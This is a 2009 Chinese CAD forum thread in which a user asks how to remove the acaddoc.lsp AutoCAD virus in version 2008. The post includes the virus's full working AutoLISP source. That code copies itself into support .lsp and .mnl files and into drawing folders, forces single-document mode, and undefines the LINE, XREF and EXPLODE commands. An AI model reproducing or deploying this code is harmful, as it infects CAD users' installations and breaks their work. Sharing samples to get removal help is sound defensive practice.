土木在线论坛 \ 建筑设计 \ CAD下载及教程 \ 在08下如何彻底删除acaddoc.lsp病毒,LISP高手进

在08下如何彻底删除acaddoc.lsp病毒,LISP高手进

发布于:2009-03-20 18:26:20 来自:建筑设计/CAD下载及教程 [复制转发]
附件里面是把扩展名改成TXT的病毒文本。

发病迹象:

一个CAD程序只能打开一个CAD文档,而且除非关闭程序,该文档无法关闭。

line xref explode 不能使用

附件里的就是代码

求高手破解如何 在AutoCAD2008下彻底清除该病毒

06版的那些方法网上有,我也试了,但是08版好像无效,打开文件还是会生成一个acaddoc.lsp

lisp代码如下


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(load "acadapq")
(princ)

[ 本帖最后由 netknight 于 2009-3-20 20:19 编辑 ]

申明:内容来自用户上传,著作权归原作者所有,如涉及侵权问题,请点击此处联系,我们将及时处理!

全部回复(14 )

只看楼主 我来说两句
  • qwaz007
    qwaz007 沙发
    sadssfsdfadgfadd
    2011-05-20 01:04:20

    回复 举报
    赞同0
  • hongyan13
    hongyan13 板凳
    谢谢楼主的无私奉献,正缺少这方面的资料,太谢谢了
    2010-10-18 14:26:18

    回复 举报
    赞同0
加载更多
这个家伙什么也没有留下。。。

CAD下载及教程

返回版块

52.08 万条内容 · 666 人订阅

猜你喜欢

阅读下一篇

转载--AutoCAD 2010正式中文版下载--向我的土木jx4810致谢

AutoCAD 2010正式中文版下载AutoCAD的LT软件专业2010年起草和详细说明。最新版本的AutoCAD中引入了新的功能,其中包括自由形式的设计工具,参数化绘图,并加强PDF格式的支持。 新的自由设计工具将允许用户探索思想在三维模型,并创造几乎任何形状,该公司的报告。新的PDF格式进口和底衬和增强功能,可以提高出版的双向沟通与扩展的设计团队。此外,采用基于约束的参数化绘图工具,使用户能够定义持久对象之间的关系,加快设计修改工作流程。 AutoCAD的2010年现在还支持三维打印,该公司表示,将可以很容易地生产有形的3D模型和物理原型连接到按需三维打印服务或个人的3D打印机。

回帖成功

经验值 +10